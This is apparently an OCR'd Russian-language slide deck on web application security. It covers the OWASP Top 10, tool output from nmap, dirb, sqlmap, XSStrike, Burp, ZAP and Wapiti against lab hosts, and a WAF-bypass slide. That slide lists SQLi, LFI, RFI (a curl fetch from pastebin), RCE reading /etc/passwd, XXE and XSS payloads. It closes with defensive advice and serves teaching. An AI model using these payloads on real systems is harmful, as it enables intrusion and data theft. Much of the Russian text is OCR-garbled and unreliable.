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OWASP Top10

e Al - "HbeKuuum;

e A2 - HepocTtaTKu ayTeHTUPUKaLuuu;

e A3 - PasrnawieHmne KOHPGMAEHUMNaNbHbIX AAHHDIX;

o A4 - BHewiHue cywHoctn XML (XXE);

e A5 - HepocTtaTKmn KOHTpPOAA AOCTYNA;

e A6 - HeKoppeKTHass HacTponKa napaMeTpoB 6e30MNacHOCTM;

e A7 - Me)caitToBoe BbinoJsiHeHUue cueHapues (XSS);

e A8 - Hebe3sonacHasa aecepuannsauus;

A9 - Ucnonb3oBaHUE KOMMOHEHTOB C U3BECTHbIMU
YA3BUMOCTAMM;

e A10 - Hepoctatkm >XypHananposaHuss U MOHUTOPUHTrA.
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Nmap

root@kali:~# nmap 192.168.101.14

Starting Nmap 7.80@ ( https://nmap.org ) at 2020-09-15 ©8:08 EDT
Nmap scan report for 192.168.101.14%

Host is up (0.079s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE

80/tcp open http

143/tcp open imap

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 10.17 seconds
rootikali:~# |
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Dirb/Dirbuster

:~# dirb http://127.0.0.1

DIRB w2.22
By The Dark Raver

START TIME: Thu Sep 17 10:58:29 2020
URL_BASE: http://127.0.0.1/
WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

- Scanning URL: http://127.0.0.1/ ----
+ http://127.0.0.1/index.php (CODE:502|SIZE:559)
+ http://127.0.0.1/info.php (CODE:502|SIZE:559)
==> DIRECTORY: http://127.0.0.1/wp-admin/
==> DIRECTORY: http://127.0.0.1/wp-content/
==> DIRECTORY: http://127.0.08.1/wp-includes/
+ http://127.0.0.1/xmlrpc.php (CODE:502|SIZE:559)
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SQLmap

:~# sqlmap -u http://store.vulns.pentestit.ru/product_info.php?products_id=2 —dbs -D store -T administrators —dump

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not r

esponsible for any misuse or damage caused by this program
[*] starting @ 12:58:38 /2020-04-07/

[12:58:38] [INFO] resuming back-end DBMS ‘mysqgl’

[12:5¢ ] [INFO] testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('
sqlmap resumed the following injection point(s) from stored session:

36'). Do you want to use those [Y/n] y

Parameter: products_id (GET)
Type: error-based
Title: MySQL > 5.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: products_id=2" AND (SELECT 1880 FROM(SELECT COUNT(#),CONCAT(@x7178626b71,(SELECT (ELT(1080=1880,1))),0x7178627871, FLODR(RAND(®)#2))x FROM INFORMATION_SCHEMA,PLUGINS GROUP BY x)a)— 0Zge

Type: time-based blind

Title: MySQL > 5.8.12 AND time-based blind (query SLEEP)

Payload: products_id=2' AND (SELECT 4286 FROM (SELECT(SLEEP(5)))Okot)-— wasO
[12:58 ] [1NFO] the back-end DBMS is MySQL
back-end H
[12:58:40]
[12:58:40] [
[ £

database names

IFO] used SQL query returns 2 entries
2 ] [INFO] resumed: ‘information_schema®

[12:58:48] [INFO] resumed: '"store'

available databases [2]:

[#] information_schema

[*] store
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root@kali:~/XSStrike# python3 xsstrike.py -u "http://192.168.61.218/xss_get.php?login=&pas I1=&submit=" --fuzzer

XSStrike v3.1.4

WAF Status: Offline

Fuzzing parameter: login
[passed] <test

[passed] <test//

[passed] <test>

[passed] <test x>

[passed] <test x=y

[passed] <test x=y//
[passed] <test/oNxX=yYy//
[passed] <test oNxX=yYy=>
[passed] <test onload=x
[filtered] <test/o%00nload=x
[passed] <test sRCc=xxx
[passed] <test data=asa
[passed] <test data=javascript:asa
[passed] <5Vg X=y>

[passed] <details x=y//
[passed] <a href=x//
[passed] <emBed x=y=
[passed] <object x=y//f
[passed] <bGsOund sRc=x>
[passed] <iSinDEx x=y//
[passed] <aldio x=y=>
[passed] <script x=y>
[passed] <script//src=//
[passed] ">payload<br/attr="
[passed] "-confirm® " -"
[passed] <test ONdBlcLicK=x>
[passed] <test/oNcoNTeXtMenU=x>
[passed] <test OndRAgOVEr=x=>
Fuzzing parameter: passwordl
[filtered] <test

[filtered] <test//

[filtered] <test>

[filtered] <test x>




BurpSuite

Burp Suite Community Edition v2020.8 - Temporary Project

Burp Project Intruder Repeater Window Help

' Dashboard | Target

efcon.ru

uttons. github.io

uttons. github.io
randex.ru

efcon.ru

uttons. github.io

Decoder | Comparer

fbuttons. js
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Extender

Project options

User options
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392




OWASPZap

Untitled Session - OWASP ZAP 2.9.0
File Edit View Analyse Report Tools Import Online Help

standard Mode | ¥| 1 & H -

@ Sites | ==

| Header: Text \v| |Body: Text =

g | https://sonar.semantigo.com

g https://img.defcon.ru

g https:j/secure.gravatar.com

g https://fonts.googleapis.com

g https://defcon.ru

g https://iskwhhw&bwi2 306lzbc3e6kt
g https:jjext-strm-itt03.strm.yandex.

& | https:ffext-strm-level30

\/ Filter: OFF ¢ Export

| Req. Timestamp | Met... | URL ... | Reason | ... |Size Resp... | Highes... | N... | Tags
9/17/20. 10:4... GET httpsiyfyandex.ru/searchfyand... 2... Ok . B22 bytes
9/17/20. 10:4... GET https:/fyastatic.net/q/set/s/rsy... 2... OK . 251 bytes U Medi... Script
9/17/20, 10:4... GET https:/fyastatic.net/react/16.8.... 2... OK ... 120,556 ... U Medi... Script, Co...
9/17/20, 10:4... GET https:/fyastatic.net/s3/distribu... 2... OK ... 107,764 ... [ Medi... Script
9/17/20, 10:4... GET https:/fyastatic.net/s3/zen-lib/... 2... 0K . 785,312 .. M Medi... Script, Co...
9/17/20. 10:4... GET https:fyandex.ru/set/s/rsya-ta... 2... OK ... 394 bytes [ Low JSOM

Alerts 0 U5 U8 M4  Primary Proxy: localhost:8080 Current Scans 440 0 @463 A 0 @0 0 #°0
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Wapiti

Vulnerability found in lindex0.php

HTTP Request RL command line

.php?logir +or+sl 1&password=Letm3in_&enter=submit HTTP/1.1
/ulns.pentestit.ru

.php

Vulnerability found in /sqgl-simpl-get.php

HTTP Request RL command line

%2318enter=submit HTTP/1.1

/sgql-simpl-get.php
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Acunetix Web Vulnerability
Scanner

acunetix
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WAF u ero obxopn,

https://github.com/nemesida-waf/waf-bypass
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https://github.com/nemesida-waf/waf-bypass

SQLi:
g="union/**/select+1,2,3,4 -- -
g=" uni%0bon+se%0blect+1,2,3,4 -- -
g="UNunionlON+SEselectLECT+1,2,3,4 -- -

LFI:
g=../settings.php
g=../e?c/pa??wd

RFI:
... curl -s http://pastebin.com/raw/... -o ...
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RCE:
q=;system("cat%20/etc/passwd’)

XXE:
<IENTITY sp SYSTEM «file:///etc/passwd»> ]>

XSS:
<A/+/onmouseover+=+(confirm)()>alert
<img onerror=a &#x06c;ert(1) src=a>

JSON:
“»><script>alert(context)</script>
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be3onacHoOCTb:

e icnoab3yeM ayyline NnpakTUKu npm HanMcaHuu
Koaa;

e [lepnoanyeckmn nposoAUM TeCTUPOBAHUE HA
NPOHUKHOBEHMUE;

e AHAZIN3NPYEM UCXOAHbIU KOO HA YSA3BUMOCTMU;

* ilcnoab3yeM cpeacTBa MOHUTOPUHIA U BbiSIBIEHUSA
atak: SIEM, WAF.
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